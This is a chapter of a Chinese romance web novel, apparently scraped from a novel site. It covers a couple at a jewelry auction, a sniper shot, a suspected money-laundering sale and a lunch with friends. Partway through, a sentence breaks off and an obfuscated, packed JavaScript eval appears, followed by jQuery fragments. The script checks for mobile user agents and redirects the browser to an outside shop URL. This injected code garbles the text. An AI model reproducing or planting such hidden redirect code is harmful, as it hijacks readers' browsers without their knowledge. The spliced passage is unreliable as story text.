文趣网 > 都市小说 > 遇见20年前的你 > 92. 第九十二章
    “不是说要带我出去逛逛吗?走啊!还磨蹭什么?”看他还在身后,拿着手机不知道在打什么字,何卓婷催促道。

    没等几秒,身后男人高大身躯很快跟上来,她的腰侧一热,他的大掌贴了上来。

    “这不是来了么。”赵攸县挨得很近,几乎是贴在她耳边说的,他穿了一套白色休闲棉麻套衫,行走起来,飘逸轻盈,比他平时总是穿着西装看起来年轻不少。

    何卓婷有些看不懂他。

    昨晚吵架,她还生气呢,他这么快就忘了?

    现在这出门的亲昵动作,到底是什么意思?

    等他们下楼,白色新车已经停在酒店门前落客区等候多时。

    出了旋转门,有一瞬间的闷热,但很快,有门童恭敬地替她打开车门,一屁股坐进去后,他也跟着进来,车门恰时地被人合上,里面依旧凉爽的冷气扑面而来,吹散还未来得及裹狭的暑热。

    何卓婷有些感慨的想,果然是有钱好,甚至有点理解,身边的男人为什么要这么疯狂赚钱。

    白色车身驶离,绕过殿前中央花园喷水池,拐了个弯,没入宽阔的马路上。

    何卓婷朝车后挡风玻璃去瞧,果然那辆黑车不疾不徐地跟着。

    赵攸县看她动作,没说什么,抬手手腕上的手表看了一下时间,“时间刚好。”

    “什么?”

    何卓婷转回头,注意力上一秒刚还在那辆黑车上,并没听清楚他说了什么。

    让他重复,他却不说了,甚是无趣。

    大概过了半个钟头,车子停在一栋哥特式建筑的门口。

    “走吧,十点钟有一场珠宝专场,时间还早,我们先去预展看看拍品。”

    专业拍卖行中心,像佳得世这种顶级拍卖行,都是集艺术、拍卖、展览为一体。外建筑和内部设计十分有特色。

    赵攸县拉起她的手,进了高大尖顶大门,让人身觉现身在中世纪。

    门口站着一排穿着清一色藏蓝色西装的工作人员,一见他们进来,立马热情致意。

    其中一个男工作人员,带了一副金丝眼镜迈步朝他走过来,其他的工作人员全数都散开,各回各岗位上去了。何卓婷偷瞄了一眼他的胸牌,果然又是总经理。

    “赵总,今天碰巧是拍卖大季,展品多,您可以拿着电梯牌先上8楼预展厅看拍品。”

    拍卖行总经理把手里提前准备好的卡册双手递给他,末了又悄悄透露一句,“上校的人先一步在了。”

    赵攸县神色不明,朝他点点头,领着她上了8楼。

    那些珠宝都被放在一个大展厅里,而用来装它们的是一只只玻璃柜锁上了银锁扣,底下是铺着厚厚的丝绒布包着柱子。灯光照着,珠宝折射出光芒。

    一件一件,像博物馆里的文物。

    各个出口都有警卫蹲守,展厅里还有几个巡警。

    可见这些宝贝价格都不低。

    何卓婷这个看看,那个看看,又在每件下面看了眼估价,心里啧啧赞叹,确实价格不低。

    身后的男人负责跟在她后面,也不打扰她,就这么让她每件都瞧了遍,他在她身后幽幽开了口,“喜欢哪件,只管和我说,拍下来给你。”

    听他这么说,何卓婷眼底掠过一丝怔然,似有些纳闷地朝自己身后他看了一眼。

    什么嘛!这算你不能直接开口要,但是他可以给?

    先是他的私人岛屿上给她买的那些衣服包包,现在又说要竞拍送她珠宝。

    她脑中思索了一番,似乎这待遇,分手前不曾有的。

    有人主动要送你礼物,哪有不收的道理,犯不着扭捏推脱。

    她开始认真挑选起来。

    已经看了一圈了,觉得都挺富贵逼人,造型夸张,很适合参加一些晚会时佩戴,可就是不怎么合适她。

    她打算往里再瞧瞧,待她看到有一款,她朝身后的男人招招手。

    是一款心形的一大颗冰糖心,两条素链子串起,看起来和别的富贵款式不一样,但是……

    卡片上写着,重要私人珍藏,30.87克拉,IIa型钻石潜力,抛光、对称性评级优异。

    二IIa型钻石,不含氮杂质,顶级天然无色钻石,极为稀有。

    眼光确实不错。看着不起眼,却是好东西。

    赵攸县上前,略微倾身,仔细看了看,记下了号码牌,拍品1942,他又撇了它右边摆着的同款式耳饰,两颗略微小一点的心形冰糖心,圆圆散钻耳扣连着,看起来模样可爱,留意了下号码牌,1941号拍品。

    “赵总……赵主席……这么巧?”

    身后来人的说话声音,赵攸县并无多大惊讶,似乎早就预料之中。

    他缓缓转了身,双手插在白色裤子口袋里,对来人伸过来的那只手迟迟不作回应。

    那人脸色难看,僵持不下,收了手。

    接着又开始若无其事地攀谈起来,“想不到,能在这里见到百忙之余的赵总。”

    何卓婷打量了一眼说话的人,穿着一身军官的衣服,看起来像个政府官员。

    赵攸县一向来不会把事做绝,还是会维持表面和谐,这是他素养里的一部分。

    “嗯,幸会。”他的语气十分冷淡,礼貌又疏离,摆明了看不上他,更不想和他有过多的交集。

    聊天眼看着聊不下去了,那位政府官员转身走了。

    何卓婷看着有些不解,“他是谁?政府的?为什么你好像对他有意见?”

    “他是巴克本上校,F国警察总署长官的人。今天来拍卖行估计是跟着巴克本一起来的。”

    看她一脸认真,忍不住多说一句,“你以为警察总署的人都是好人吗?背地里干了什么勾当你又不知道。”

    赵攸县低下眼睑看了她一眼,一扫之前的严肃,从裤口袋里伸出手,在她黑发头顶轻轻揉了揉,“小孩子打听这些干什么?”

    何卓婷不乐意了,将他的手拍下来。

    话虽是这么说,但何卓婷似乎能在他话里听出些不同的意味。

    可能就是因为赵攸县知道他们干过什么坏事,为了不被殃及,所以才能避就避。

    都说强龙不压地头蛇,他这明显不给面子的态度,她都替他担心。

    “你不怕惹恼了他们?”

    “不会。”

    她不信,就连那晚那个顶级帅气的男人对他差点掏枪子,也要逼着他干什么,肯定不止一家惦记。

    赵攸县见她低着头满腹心事的样子,猜她估计又在胡乱猜想,搂过她的腰,凑到她耳边道,“你放心,他们不能拿我怎么样,因为……”说着,他抬起一只手,在她面前大拇指和食指贴在一起搓了搓。

    何卓婷睁大眼,她看懂他的意思了。

    这不就是贝有贝各吗?不对,不是贝有贝各而是索贝有。

    赵攸县看懂她心里想法似得,纠正道,“这是到了人家地盘得按人家规矩来,他们这流行收保护费。”

    一个警察总署最高长官都如此,那么底下的……

    突然,何卓婷反应过来,她腰侧的的大手十分烫皮肤,她左右看看,发现预展厅里除了她俩没有别人了,心下了然。

    她也随他扶着,又走走看看了下几处,看过看的也没啥兴趣了,两人便出了门,到已经安排好的包厢里等候。

    十点整,拍卖正式开始。

    几轮竞价后,拍品被拍下,后台走好流程,很快就让专人负责送到了何卓婷手里,用一个深灰色的方形锦盒装着,还有一整套的藏品认证证书,按下暗扣,盒子应声打开,这件心形主石设计可拆卸,一物两用,旁边还有个小盒子,里面居然还有一对耳环。

    何卓婷听到刚刚一次次加价,单位都是千万级。这主盒和副盒加在一起,这价格……

    她抬头看了一眼身边的男人。

    旁边的男人在接到她投来目光时,对上她和煦地笑笑。

    很快又有一款拍品呈出,台上拍卖行工作人员开始介绍……

    而上台作展示的是一个新来的年轻的青年。

    全场这时候,大家窸窸窣窣地小声说话,是在对新展出的拍品进行议论。

    何卓婷注意到台上换人了,之所以引起她注意,主要是,这一整场,除了现在,都没有换人过。

    好几个人都在翻看手中的品册,似乎是在确认,这款是否在预展厅看到过。

    这款翡翠绿项链设计的很富贵,一看就是上了年纪的人喜欢的。但是,何卓婷一个外行人的眼光来看,却觉得不怎么样。

    比起之前的那些差多了,而且,刚刚在预展厅,并没有看到这一款。

    工作人员报了一个数,底下就有人开始竞价。

    而刚刚碰面的政府官员也在其中,他旁边坐了一个人,穿着黑色衬衣,只看得到一个背影,那个官员一侧头和他说了什么,那人就举牌。

    经过好几个回合,这件拍品就加价了好几轮。而更加奇怪的是,除了另一侧一个穿天蓝色衬衫的男人参与互相竞价以外,其余人都不曾参与,甚至兴致缺缺,很是奇怪。

    赵攸县朝他们那方向看了眼,嘴角勾了勾。

    洗钱?

    不知从哪里来的红点,出现在台上的白色墙上。

    是远程射击

    砰——

    赵攸县反应过来时,射击已经结束,他下意识地一把将她摁在自己腿上,整个身体护在她上头,她只听到后面又有几声枪响、人们的尖叫声。

    全场乱作一团,人群四处逃散。

    但那一枪远程射击后,就没有了声音,后面几枪是观众席上的警员朝着他预估的方向射击的。

    等四周安静下来,再次抬头,台上的工作人员少了一人。

    而那款翡翠项链不翼而飞。

    果然,那个巴克本上校的下属已经带着他的人马追了出去。

    那条翡翠项链,很有可能就是他们临时要求加的,而那场自演自导的加戏码,目的就是通过拍品洗钱,不知哪里得来的廉价翡翠,通过几手操作,高价拍出,得到的钱,又不知进了谁的荷包,分了多少给了多少人。

    而那个远程狙击只打了一枪,接着项链不见了,看来对方像是专程为了这条项链而来,

    经过这场闹剧,大家都兴致不高,后面几个拍品也没多大兴趣了,赵攸县带她离了场,“到饭点了,带你去吃好吃的。”

    此时,他们坐在车后座,仍是司机替他们开着车,大马路宽阔平稳,司机更是车技娴熟,把车来得四平八稳,提速刹车,都几乎毫无感觉。

    这时,突然一通电话进来,赵攸县也不避讳,在何卓婷面前接通。

    何卓婷不知道怎么,她就觉得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812711|210928||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    现在这个打电话进来的人,就是早上醒来他在接电话的那个。

    赵攸县收了手机,有些抱歉地看着她,何卓婷知道,他又要爽约了。

    她朝他摆摆手,不甚在意地说道,“你要是不急让司机把我送回酒店,要是急的话,我自己回去也行。”

    如果放在以前,她肯定是要和他闹一通脾气的。而赵攸县估计也是这么觉得,所以在听到她这么说以后,满脸震惊,也就几秒,他言笑晏晏道,“我的女孩长大了,会替人着想,懂事了。”

    说着,他又抬手想去摸她的脑袋,被她躲开了。

    何卓婷不满道,“我又不是你的宠物,老是摸人家头干嘛?把我发型都弄乱了!”

    赵攸县也不恼,他收了手,就此作罢,“那好,不摸你头,省得又要被你说把你发型弄乱,等晚上回来,我摸别的总可以了吧!”说完他就在那边盯着她,意味不明的坏笑。

    何卓婷心底涌现烦躁,本是一句再正常不过的调情的话,可她就是十分不舒服。

    花钱的是大爷啊!

    也不怪她多想,他给她花钱,总感觉要讨回本钱似的。

    他是觉得在她身上花了钱,他就可以以上位者的姿态对她了么?

    他砸了钱,她就得晚上乖乖等他回来,然后满足他的欲望,让他爽上一爽?

    不不,这无关自尊不自尊的问题。

    而是,这会让他养成了只要给钱,她就会配合,久了,也就不稀罕了。

    赵攸县看她神色不明,看着车窗外,还以为是自己一开始答应过要带她吃好吃实言而不高兴了。

    他耐心地去把她手牵过来,低头去看她,哄道,“晚饭一定陪你吃,我们去k城最有名的空中花园餐厅,顶楼看星星吃海鲜如何?”

    她一转头,对上一双诚恳的眼睛,心想态度还算真诚。

    这时,赵攸县手机又响了。

    他低眼看了眼屏幕,随后接起,电话叽里呱啦说了一大堆,赵攸县脸黑了黑,又拿眼去看她,然后对电话那头的人妥协说了句好吧就挂了电话。

    看来现在这通电话,还和她有关。

    最后,赵攸县没送她回酒店,而是带着她一起,去了一家法式餐厅。

    里面坐满了人,侍者带他们穿过餐厅,走到靠窗的那桌跟前。

    “嗨!老赵!”

    赵攸县皱了皱眉,不满道,“为什么要在这里吃?这里人这么多环境又不好。”话虽这么说,但他已经替何卓婷拉开椅子,把她按排在女士的旁边。

    对面的人是一个身型圆润敦厚的男人,他的对面是一个身材丰满凹凸有致的美女。

    他们一看就是一对情侣,两人的手还放在白色餐布上互相交叉相握,看来正是浓情蜜意的热恋期。

    对他们来说,情侣也要拆开坐,尽管这两人根本不想分开。

    “你不懂,这里的鹅肝一绝,我不来的好几年,天天想它的味道。虽说这里环境太吵,但是不影响它好吃啊!”说了一大堆,他这才转过来看到赵攸县身边的何卓婷。

    他突然夸张地惊呼,“哇哦,这位就是火火辣辣恼人的小猫咪吗?老赵,你总算舍得把她带出来见人了!”

    什么小猫咪?

    何卓婷不明所以地去看旁边的男人,见他尴尬地咳嗽几声,拿起她身前的正方形的餐巾,斜对折成三角形,折口向内放到她腿上,就开始给她手边空的酒杯里倒白葡萄酒。

    “赵,昨晚我们叫你出来你变爽快了啊,以前叫你都不肯来,花总还和我打赌说你昨天也不会出来,但是出来玩又不肯点菜,很扫兴啊,是不是就是这位被你一直藏起来不舍得带出来的女朋友管得太严了?”说完他又对何卓婷友善的笑笑,“我看她也不像你说的这么凶啊?”

    管太严?

    谁管谁?

    何卓婷听糊涂了。

    昨晚上,他们前半场他的手和她还负距离,后半场就被一个电话打过来叫了出去。

    原来是和他在一起,点菜?

    虽然她没听懂,但觉得这人口无遮拦的好啊,可以从他嘴里知道不少事情。

    “你好,我叫范德照,”说了一半,他朝何卓婷伸出手来,想友好地和她握手。

    “我还有一个名字叫菲尔布斯,范德照是老赵给我取的,他说这个名字很有范。”

    话还没说完,他那只胖胖的手臂,就被赵攸县用手打回,“握什么手!”

    赵攸县这时才看到自己在她酒杯里倒的是酒,他又把这杯酒换给了自己,把自己那只空着的酒杯放到她面前。

    “呦喂!我看不是你家小女朋友管的严,你是管人家管的宽!我这是礼节你懂不懂,年纪轻轻这么古板!”

    这个叫菲尔布斯的胖男人话是真的多……但是也挺好玩的。

    何卓婷笑着,虽说握手免了,她还是友善地打个招呼。

    菲尔布斯身边的美女说话了,“你们还吃不吃了,我都饿了!”

    菲尔布斯连忙哄着她道,“宝贝,我不说了,我马上就点菜让他们上菜!怪我!”

    美女朝她眨眨眼,算是替她化解了尴尬。

    菲尔布斯叫来服务员,赵攸县先开口对服务员说道,“给她来一杯饮料。”

    服务员抱歉道,“不好意思,先生,我们这只有酒。”

    “……”